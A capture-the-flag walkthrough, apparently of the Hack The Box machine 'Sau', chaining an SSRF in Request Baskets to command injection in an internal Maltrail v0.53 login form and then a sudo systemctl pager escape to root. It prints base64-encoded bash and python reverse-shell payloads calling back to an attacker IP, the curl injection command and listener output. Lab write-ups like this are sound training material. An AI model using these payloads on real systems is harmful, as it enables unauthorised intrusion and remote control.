Sau
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
sudo nmap -PN -sC -sV -oN sau 10.10.11.224
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 16:51 PKT
Nmap scan report for 10.10.11.224
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
55555/tcp open http Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sat, 26 Jul 2025 11:28:39 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sat, 26 Jul 2025 11:28:19 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sat, 26 Jul 2025 11:28:20 GMT
| Content-Length: 0
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=7/26%Time=6884C159%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sat,\x2026\x20Jul\x20
SF:2025\x2011:28:19\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sat,\x2026\x20Jul\x20
SF:2025\x2011:28:20\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Co
SF:ntent-Type-Options:\x20nosniff\r\nDate:\x20Sat,\x2026\x20Jul\x202025\x2
SF:011:28:39\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20n
SF:ame;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\
SF:-_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20cl
SF:ose\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan
SF:,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host
SF:\x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Ho
SF:st\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.34 seconds
We have the following ports open:
- 22 - SSH
- 80 - Filtered HTTP (inaccessible)
- 55555 - Request Baskets HTTP website.
On port 55555, we are greeted by Request Baskets version 1.2.1. A single google search tells us it’s vulnerable to SSRF.
Messing with baskets
It seems like this basket acts like a collection/logs of requests.
On clicking the Settings button we can see that we could forward those requests. Let’s try forwarding it to our host.
Add this to Forward URL:
http://10.10.16.13:1234
Start a nc listener, and:
1
2
3
4
5
6
7
8
9
10
11
curl http://sau.htb:55555/ion6s0x
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.224] 35514
GET / HTTP/1.1
Host: 10.10.16.13:1234
User-Agent: curl/8.14.1
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip
SSRF
What if we trick the server into leaking it’s own internal resources by forwarding requests to 127.0.0.1?
Well the request definitely goes through and shows on the basket as well.
Let’s reconfigure it to Proxy Response as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
curl http://sau.htb:55555/ion6s0x
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html;charset=utf8">
<meta name="viewport" content="width=device-width, user-scalable=no">
<meta name="robots" content="noindex, nofollow">
<title>Maltrail</title>
<link rel="stylesheet" type="text/css" href="css/thirdparty.min.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
<link rel="stylesheet" type="text/css" href="css/media.css">
<script type="text/javascript" src="js/errorhandler.js"></script>
<script type="text/javascript" src="js/thirdparty.min.js"></script>
<script type="text/javascript" src="js/papaparse.min.js"></script>
</head>
<body>
<div id="header_container" class="header noselect">
<div id="logo_container">
<span id="logo"><img src="images/mlogo.png" style="width: 25px">altrail</span>
</div>
<div id="calendar_container">
<center><span id="spanToggleHeatmap" style="cursor: pointer"><a class="header-a header-period" id="period_label"></a><img src="images/calendar.png" style="width: 25px; height: 25px; vertical-align: top"></span></center>
</div>
<ul id="link_container">
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/blob/master/README.md" id="documentation_link" target="_blank">Documentation</a></li>
<li class="header-li link-splitter">|</li>
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/wiki" id="wiki_link" target="_blank">Wiki</a></li>
<li class="header-li link-splitter">|</li>
<!-- <li class="header-li"><a class="header-a" href="https://docs.google.com/spreadsheets/d/1lJfIa1jPZ-Vue5QkQACLaAijBNjgRYluPCghCVBMtHI/edit" id="collaboration_link" target="_blank">Collaboration</a></li>
<li class="header-li link-splitter">|</li>-->
<li class="header-li"><a class="header-a" href="https://github.com/stamparm/maltrail/issues/" id="issues_link" target="_blank">Issues</a></li>
<li class="header-li link-splitter hidden" id="login_splitter">|</li>
<li class="header-li"><a class="header-a hidden" id="login_link">Log In</a></li>
<li class="header-li"></li>
</ul>
</div>
<div id="heatmap_container" class="container hidden" style="text-align: center">
<div>
<button id="heatmap-previous" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
<span class="ui-icon ui-icon-carat-1-w"></span>
</button>
<button id="heatmap-next" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" type="button" role="button">
<span class="ui-icon ui-icon-carat-1-e"></span>
</button>
</div>
<div style="display: inline-block; float: top; vertical-align: top; margin-top: 5px">
<div id="cal-heatmap" style="display: inline-block"></div>
</div>
</div>
<div id="main_container" class="container hidden">
<div id="status_container" style="width: 100%; text-align: center">
<div>
<ul style="list-style: outside none none; overflow: hidden; font-family: sans-serif; padding: 0px; display: inline-block; white-space: nowrap">
<li id="btnDrawThreats" class="status-button noselect" style="background: rgb(31, 119, 180); background: radial-gradient(rgb(174, 199, 232) 0%, rgb(31, 119, 180) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Threats">
<h4 id="threats_count">-</h4>
<span class="dynamicsparkline" id="threats_sparkline"></span>
<h6>Threats</h6>
</li>
<li id="btnDrawEvents" class="status-button noselect" style="background: rgb(255, 127, 14); background: radial-gradient(rgb(255, 187, 120) 0%, rgb(255, 127, 14) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Events">
<h4 id="events_count">-</h4>
<span class="dynamicsparkline" id="events_sparkline"></span>
<h6>Events</h6>
</li>
<li id="btnDrawSeverity" class="status-button noselect" style="background: rgb(44, 160, 44); background: radial-gradient(rgb(152, 223, 138) 0%, rgb(44, 160, 44) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Severity">
<h4 id="severity_count">-</h4>
<span class="dynamicsparkline" id="severity_sparkline"></span>
<h6>Severity</h6>
</li>
<li id="btnDrawSources" class="status-button noselect" style="background:rgb(214, 39, 40); background: radial-gradient(rgb(255, 152, 150) 0%, rgb(214, 39, 40) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Sources">
<h4 id="sources_count">-</h4>
<span class="dynamicsparkline" id="sources_sparkline"></span>
<h6>Sources</h6>
</li>
<li id="btnDrawTrails" class="status-button noselect" style="background:rgb(148, 103, 189); background: radial-gradient(rgb(197, 176, 213) 0%, rgb(148, 103, 189) 100%) repeat scroll 0 0 rgba(0, 0, 0, 0)" title="Trails">
<h4 id="trails_count">-</h4>
<span class="dynamicsparkline" id="trails_sparkline"></span>
<h6>Trails</h6>
</li>
</ul>
</div>
<div>
<!--<label>title</label>-->
<img id="graph_close" src="images/close.png" class="hidden" title="close">
</div>
<div id="chart_area">
</div>
</div>
<table width="100%" border="1" cellpadding="2" cellspacing="0" class="display compact" id="details">
</table>
</div>
<noscript>
<div id="noscript">
Javascript is disabled in your browser. You must have Javascript enabled to utilize the functionality of this page.
</div>
</noscript>
<div id="bottom_blank"></div>
<div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>
<ul class="custom-menu">
<li data-action="hide_threat">Hide threat</li>
<li data-action="report_false_positive">Report false positive</li>
</ul>
<script defer type="text/javascript" src="js/main.js"></script>
</body>
</html>
Something that stands out is the title of the document:
1
2
<title>Maltrail</title>
<div class="bottom noselect">Powered by <b>M</b>altrail (v<b>0.53</b>)</div>
If we visit the website:
http://sau.htb:55555/ion6s0x (yes our own basket). Since we have reconfigured it to forward the response of 127.0.0.1 we get the Maltrail page now.
The first result of Maltrail v0.53 is an RCE.
Understanding the exploit
1
2
3
4
5
def curl_cmd(my_ip, my_port, target_url):
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
os.system(command)
- Craft a payload (reverse shell).
- Base64 encode it.
- curl
--data 'username=;\` \`'
Foothold
First let’s reconfigure the basket to forward to http://127.0.0.1/login
Let’s craft our payload from Reverse Shell and encode it:
1
2
echo "sh -i >& /dev/tcp/10.10.16.13/1234 0>&1 " | base64 -w0
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTMvMTIzNCAwPiYxICAK
Ensure no special characters like + are there as they could mess with the URL query and curl:
1
curl http://sau.htb:55555/ion6s0x -d 'username=;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTMvMTIzNCAwPiYxICAK | base64 -d | bash`'
We now have reverse shell as the user:
1
2
3
4
5
6
┌──(kali㉿vm-kali)-[~/htb/sau]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.224] 34568
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty; pty.spawn('/bin/bash');"
Privilege Escalation
TTY upgrade the shell.
On checking what our user could run as sudo we see:
1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
/usr/bin/systemctl status trail.service is a specific way to check the current status of a systemd service named trail.service.
Once we run it as sudo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Sun 2025-07-27 10:39:11 UTC; 37min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 894 (python3)
Tasks: 11 (limit: 4662)
Memory: 29.4M
CGroup: /system.slice/trail.service
├─ 894 /usr/bin/python3 server.py
├─1079 /bin/sh -c logger -p auth.info -t "maltrail[894]" "Failed p>
├─1080 /bin/sh -c logger -p auth.info -t "maltrail[894]" "Failed p>
├─1083 bash
├─1084 sh -i
├─1085 python3 -c import pty; pty.spawn('/bin/bash');
├─1086 /bin/bash
├─1205 sudo /usr/bin/systemctl status trail.service
├─1206 /usr/bin/systemctl status trail.service
└─1207 pager
Jul 27 11:13:54 sau sudo[1094]: puma : TTY=pts/0 ; PWD=/opt/maltrail ; USER>
Jul 27 11:13:54 sau sudo[1094]: pam_unix(sudo:session): session opened for user>
Jul 27 11:14:09 sau sudo[1094]: pam_unix(sudo:session): session closed for user>
We are in the pager, from the pager we can exploit the misconfiguration of sudo:
Once the pager (less) is invoked, !/bin/bash drops you to root shell.
1
2
!/bin/bash
root@sau:/opt/maltrail# cat /root/root.txt

